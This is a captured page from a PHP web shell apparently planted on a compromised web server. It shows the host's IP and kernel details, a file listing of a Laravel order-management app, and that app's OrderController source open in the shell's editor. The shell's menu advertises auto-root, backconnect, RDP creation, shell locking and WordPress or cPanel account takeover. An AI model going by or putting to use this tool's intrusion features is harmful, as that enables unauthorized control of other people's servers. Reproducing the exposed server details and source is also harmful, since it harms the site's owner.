Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdgamatya /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
Admin
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Authentication
[ DIR ]
drwxr-xr-x
Product
[ DIR ]
drwxr-xr-x
Setting
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
Controller.php
374
B
-rw-r--r--
HomeController.php
19.22
KB
-rw-r--r--
HomeController_09.php
19.22
KB
-rw-r--r--
HomeController_09282018.php
19.22
KB
-rw-r--r--
HomeController_backup.php
18.83
KB
-rw-r--r--
HomeController_l.php
9.54
KB
-rw-r--r--
HomeController_old.php
18.83
KB
-rw-r--r--
OrderController.php
14.55
KB
-rw-r--r--
OrderController_old.php
14.55
KB
-rw-r--r--
OrderPaymentController.php
6.73
KB
-rw-r--r--
OrderPaymentController_old.php
6.73
KB
-rw-r--r--
SuperAdminController.php
3.59
KB
-rw-r--r--
SuperAdminController_old.php
3.61
KB
-rw-r--r--
WelcomeController.php
1.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : OrderController.php
<?php namespace App\Http\Controllers; use App\Model\Receive; use App\Model\Order\Order; use App\Model\Order\Customer; use App\Model\Order\Order_details; use App\Model\Product\Product; use Illuminate\Http\Request; use App\Http\Helpers\Constants; use App\Http\Requests\OrderRequest; use App\Notifications\OrderReceived; use Illuminate\Support\Facades\Notification; use DB; use Sentinel; use App\Model\RateCategory; use App\Model\Order\OrderReceipt; use App\Model\Setting; class OrderController extends Controller { function __construct() { } public function index() { $products = Product::with('productRate')->get(); return view('order.order_form', compact('products')); } public function notificationDetails($notification_id) { $notification = Sentinel::getUser()->notifications->where('id', $notification_id)->first(); if ($notification->read_at == null) { $notification->markAsRead(); } return view('notification.order_details', compact('notification')); } public function storeOrder(OrderRequest $request) { $requestData = $request->except('_token'); \DB::beginTransaction(); try { $customer = Customer::create([ 'name' => $request->name, 'email' => $request->email, 'phone' => $request->phone, 'address' => $request->address, 'company_name' => $request->company_name, 'designation' => $request->designation, 'gender' => $request->gender ]); $shippingRate = RateCategory::with(['rates'=>function($query){ $query->orderByDesc('id')->first(); }])->where(['slug'=>'shipping'])->first(); if($shippingRate && $shippingRate->rates[0]){ $orderDetails['shipping_rate'] = $shippingRate->rates[0]->shipping_rate; } if(isTaxOption1Enable()){ $orderDetails['tax_option1'] = taxOption1(); } if(isTaxOption2Enable()){ $orderDetails['tax_option2'] = taxOption2(); } $orderDetails['customer_id'] = $customer->id; $orderDetails['status'] = 'pending'; $orderDetails['type'] = $request->order_type; $orderDetails['remarks'] = $request->remarks; $order = Order::firstOrCreate($orderDetails); foreach ($request->product as $key => $value) { Order_details::create([ 'order_id' => $order->id, 'product_id' => $value, 'status' => 'pending', 'qty' => $request->qty[$value] ]); } \DB::commit(); $this->notifyAdmin($order->id); } catch (\Exception $e) { \DB::rollback(); dd($e); return redirect()->back()->with('errors', 'Something Went Wrong')->withInputs(); } return redirect('/')->with('success', 'Thank you for your order. We will contact you soon!'); } public function notifyAdmin($orderId) { $adminRole = Sentinel::findRoleBySlug('admin'); $users = \Cartalyst\Sentinel\Users\EloquentUser::where('role_id', $adminRole->id)->get(); $notifyData = Order::with(['customer', 'orderDetails' => function ($query) { $query->with('product'); }])->where('id', $orderId)->first(); Notification::send($users, new OrderReceived($notifyData)); } public function listOrders() { $orders = Order::with(['customer', 'orderDetails' => function ($query) { $query->with('product'); }])->orderByDesc('id')->get(); return view('admin.orders.index', compact('orders')); } public function confirmOrder($id) { $order = Order::findOrFail($id); $order->status = Constants::ORDER_STATUS_CONFIRMED; $order->confirm_date = date('Y-m-d',strtotime('today')); $order->save(); $type = $order->type; $orderDetails = $order->orderDetails; foreach ($orderDetails as $orderDetail) { if ($type == Constants::ORDER_TYPE_FILLING) { $orderDetail->rate = $orderDetail->product->productRate->refill_rate; } elseif ($type == Constants::ORDER_TYPE_RENTAL) { $orderDetail->rate = $orderDetail->product->productRate->rental_rate; } elseif ($type == Constants::ORDER_TYPE_SELLING) { $orderDetail->rate = $orderDetail->product->productRate->selling_rate; } $orderDetail->status = Constants::ORDER_STATUS_CONFIRMED; $orderDetail->save(); } return redirect('admin/orders')->with('success', 'Order status updated'); } public function getViewForQuotation(Request $request, $id) { $order = Order::with(['customer', 'orderDetails' => function ($query) { $query->with(['product' => function ($query) { $query->with('productRate'); }]); }])->findOrFail($id); $data = $this->processOrder($id); return view('admin.orders.quotation', compact('order','data')); } public function sendQuotation($id) { $order = Order::with(['customer', 'orderDetails' => function ($query) { $query->with(['product' => function ($query) { $query->with('productRate'); }]); }])->findOrFail($id); $data = $this->processOrder($id); $data['order'] = $order; \Mail::send('emails.quotation', ['data' => $data], function ($m) use ($order) { $m->to($order->customer->email, $order->customer->name)->subject('Order Quotation'); }); return redirect('/admin')->with('success', 'Quotation Mailed'); } public function viewOrderDetailInModal(Request $request) { $orderId = $request->orderId; $order = Order::with(['customer', 'orderDetails' => function ($query) { $query->with(['product' => function ($query) { $query->with('productRate'); }]); }])->findOrFail($orderId); $data = $this->processOrder($orderId); $data['order'] = $order; $viewData = \View::make('admin.orders.product_detail',compact('data')); return $viewData; } public function showOrderSummary(Request $request) { $sub_total = 0; foreach ($request->products as $key => $product) { $pd = [];$rate = 0; $fp = Product::with('productRate')->find($product['prod_id']); if($request->order_type === Constants::ORDER_TYPE_FILLING ){ $rate = $fp->productRate->refill_rate; }elseif($request->order_type === Constants::ORDER_TYPE_RENTAL ){ $rate = $fp->productRate->rental_rate; }else{ $rate = $fp->productRate->selling_rate; } $pd['name'] = $fp->name; $pd['price'] = $rate; $pd['qty'] = ($product['qty'] == null) ? 0 : $product['qty']; $pd['total'] = $pd['price'] * $pd['qty']; $data['products'][$key] = $pd; $sub_total += $pd['total']; } $data['sub_total'] = $sub_total; $data['vat'] = vat(); $data['vat_amount'] = $data['sub_total'] * ( vat() / 100); $shippingRate = RateCategory::with(['rates'=>function($query){ $query->orderByDesc('id')->first(); }])->where(['slug'=>'shipping'])->first(); $data['shipping'] = ($shippingRate && $shippingRate->rates[0]) ? $shippingRate->rates[0]->shipping_rate: 0.00; if(isTaxOption1Enable()){ $data['tax1'] = taxOption1(); $data['tax1_amount'] = $data['sub_total'] * taxOption1() / 100; } if(isTaxOption2Enable()){ $data['tax2'] = taxOption2(); $data['tax2_amount'] = $data['sub_total'] * taxOption2() / 100; } $data['grand_total'] = $data['sub_total'] + $data['shipping'] + $data['vat_amount']; if(isTaxOption1Enable()){ $data['grand_total'] += $data['tax1_amount']; } if(isTaxOption2Enable()){ $data['grand_total'] += $data['tax2_amount']; } echo view('order.replace_summary',compact('data')); } public function editQuotation($id){ $order = Order::with('orderDetails.product','customer')->findOrFail($id); return view('admin.orders.edit',compact('order')); } public function updateQuotation(Request $request, $id){ $orderDetails = $request->except('details','_method','_token'); $order = Order::with('orderDetails.product','customer')->findOrFail($id); $order->update($orderDetails); foreach ($request->details as $details_id => $detail) { $orderDetails = Order_details::findOrFail($details_id); $orderDetails->update($detail); } return redirect('admin/order/'.$id.'/send-quotation')->with('success','Updated successfully!!!');; } public function processOrder($order_id){ $order = Order::with(['customer', 'orderDetails' => function ($query) { $query->with(['product' => function ($query) { $query->with('productRate'); }]); }])->findOrFail($order_id); $subtotal = 0; $details = []; $grand_total = 0; foreach ($order->orderDetails as $key => $od) { $processData = []; $processData['name'] = $od->product->name; $processData['qty'] = $od->qty; if ($order->type == Constants::ORDER_TYPE_FILLING) { $processData['rate'] = $od->product->productRate->refill_rate; $processData['total'] = $processData['rate'] * $processData['qty']; } elseif ($order->type == Constants::ORDER_TYPE_RENTAL) { $processData['rate'] = $od->product->productRate->rental_rate; $processData['total'] = $processData['rate'] * $processData['qty']; } elseif ($order->type == Constants::ORDER_TYPE_SELLING) { $processData['rate'] = $od->product->productRate->selling_rate; $processData['total'] = $processData['rate'] * $processData['qty']; } $subtotal+= $processData['total']; $details[$key] = $processData; } $data['details'] = $details; $data['sub_total'] = $subtotal; $grand_total+=$subtotal; //Add VAT $vat_amount = ($subtotal * vat())/100; $grand_total+=$vat_amount; //add taxOption1 if enable if($order->tax_option1>0){ $grand_total+= ($order->tax_option1*$subtotal)/100; } //add taxOption1 if enable if($order->tax_option2>0){ $grand_total+= ($order->tax_option2*$subtotal)/100; } //Shipping amount; if($order->shipping_rate>0){ $grand_total += $order->shipping_rate; } $data['shipping_rate'] = $order->shipping_rate; $data['grand_total'] = $grand_total; return $data; } public function bill(Request $request) { try{ \DB::beginTransaction(); $orderID = $request->order_id; $billDetails['order_id'] = $request->order_id; if($request->date_of_issue){ $billDetails['date_of_issue'] = $request->date_of_issue ; }else{ $billDetails['date_of_issue'] = \Carbon\Carbon::now(); } if($request->discount){ $billDetails['discount'] = $request->discount ; } $receipt = OrderReceipt::where(['order_id'=>$orderID])->first(); if($receipt){ $receipt->update($billDetails); }else{ $lastBill = OrderReceipt::orderBy('id','DESC')->first(); $billDetails['bill_no'] = ($lastBill == null) ? 1 : $lastBill->bill_no +1 ; OrderReceipt::create($billDetails); } $exchangeRate = $request->exchange_rate; $order = Order::with('customer','orderReceipt','orderPayments')->find($orderID); $receipt = OrderReceipt::where(['order_id'=>$orderID])->first(); //Update exchange rate $order->update(['exchange_rate'=>$exchangeRate]); //process order for bill $data = $this->orderBill($orderID); $data['discount'] = $order->orderReceipt->discount; $data['discount_amount'] = $data['sub_total'] * $data['discount'] / 100; if($data['discount'] != 0){ $data['grand_total'] = $data['grand_total'] - $data['discount_amount']; } $data['total_advance'] = ($order->orderPayments) ? $order->orderPayments->sum('amount') : 0; if($data['total_advance'] != 0){ $data['total_dues'] = $data['grand_total'] - $data['total_advance']; } // dd($data); $setting = Setting::select('company_name','address','phone','email','vat_no','website')->first(); $setting->vat_no = str_split($setting->vat_no); \DB::commit(); return view('admin.orders.bill',compact('data','setting','receipt','order')); }catch (\Exception $e){ \DB::rollback(); return redirect('admin/orders')->with('error', 'Something went wrong, Please try again!!!'); } } public function destroy($id){ $order = Order::find($id); //Delete Order Details Order_details::where(['order_id'=>$order->id])->delete(); $order->delete(); return redirect('admin/orders')->with('success', 'Order Deleted'); } protected function orderBill($order_id){ $order = Order::with(['customer', 'orderDetails' => function ($query) { $query->with(['product' => function ($query) { $query->with('productRate'); }]); }])->findOrFail($order_id); $subtotal = 0; $details = []; $grand_total = 0; foreach ($order->orderDetails as $key => $od) { $processData = []; $processData['name'] = $od->product->name; $processData['qty'] = $od->qty; if ($order->type == Constants::ORDER_TYPE_RENTAL) { $processData['rate'] = $od->product->productRate->rental_rate * $order->exchange_rate; $processData['total'] = $processData['rate'] * $processData['qty'] ; }elseif ($order->type == Constants::ORDER_TYPE_SELLING) { $processData['rate'] = $od->product->productRate->selling_rate * $order->exchange_rate; $processData['total'] = $processData['rate'] * $processData['qty']; } $subtotal+= $processData['total']; $details[$key] = $processData; } $data['details'] = $details; $data['sub_total'] = $subtotal; $grand_total+=$subtotal; //Add VAT $vat_amount = ($subtotal * vat())/100; $data['vat'] = vat(); $data['vat_amount'] = $vat_amount; $grand_total+=$vat_amount; //add taxOption1 if enable if($order->tax_option1>0){ $data['tax1'] = $order->tax_option1; $data['tax1_amount'] = ($order->tax_option1*$subtotal)/100; $grand_total+= ($order->tax_option1*$subtotal)/100; } //add taxOption1 if enable if($order->tax_option2>0){ $data['tax2'] = $order->tax_option2; $data['tax2_amount'] = ($order->tax_option2*$subtotal)/100; $grand_total+= ($order->tax_option2*$subtotal)/100; } //Shipping amount; if($order->shipping_rate>0){ $data['shipping_charge'] = $order->shipping_rate * $order->exchange_rate; $grand_total += $data['shipping_charge']; } $data['grand_total'] = $grand_total; $data['exchange_rate'] = $order->exchange_rate; return $data; } public function viewBill($order_id){ try{ \DB::beginTransaction(); $receipt = OrderReceipt::where(['order_id'=>$order_id])->first(); $order = Order::with('customer','orderReceipt','orderPayments')->find($order_id); $data = $this->orderBill($order_id); $data['discount'] = $order->orderReceipt->discount; $data['discount_amount'] = $data['sub_total'] * $data['discount'] / 100; if($data['discount'] != 0){ $data['grand_total'] = $data['grand_total'] - $data['discount_amount']; } $data['total_advance'] = ($order->orderPayments) ? $order->orderPayments->sum('amount') : 0; if($data['total_advance'] != 0){ $data['total_dues'] = $data['grand_total'] - $data['total_advance']; } $setting = Setting::select('company_name','address','phone','email','vat_no','website')->first(); $setting->vat_no = str_split($setting->vat_no); \DB::commit(); return view('admin.orders.view_bill',compact('data','setting','receipt','order')); }catch (\Exception $e){ \DB::rollback(); return redirect('admin/orders')->with('error', 'Something went wrong, Please try again!!!'); } } }
Close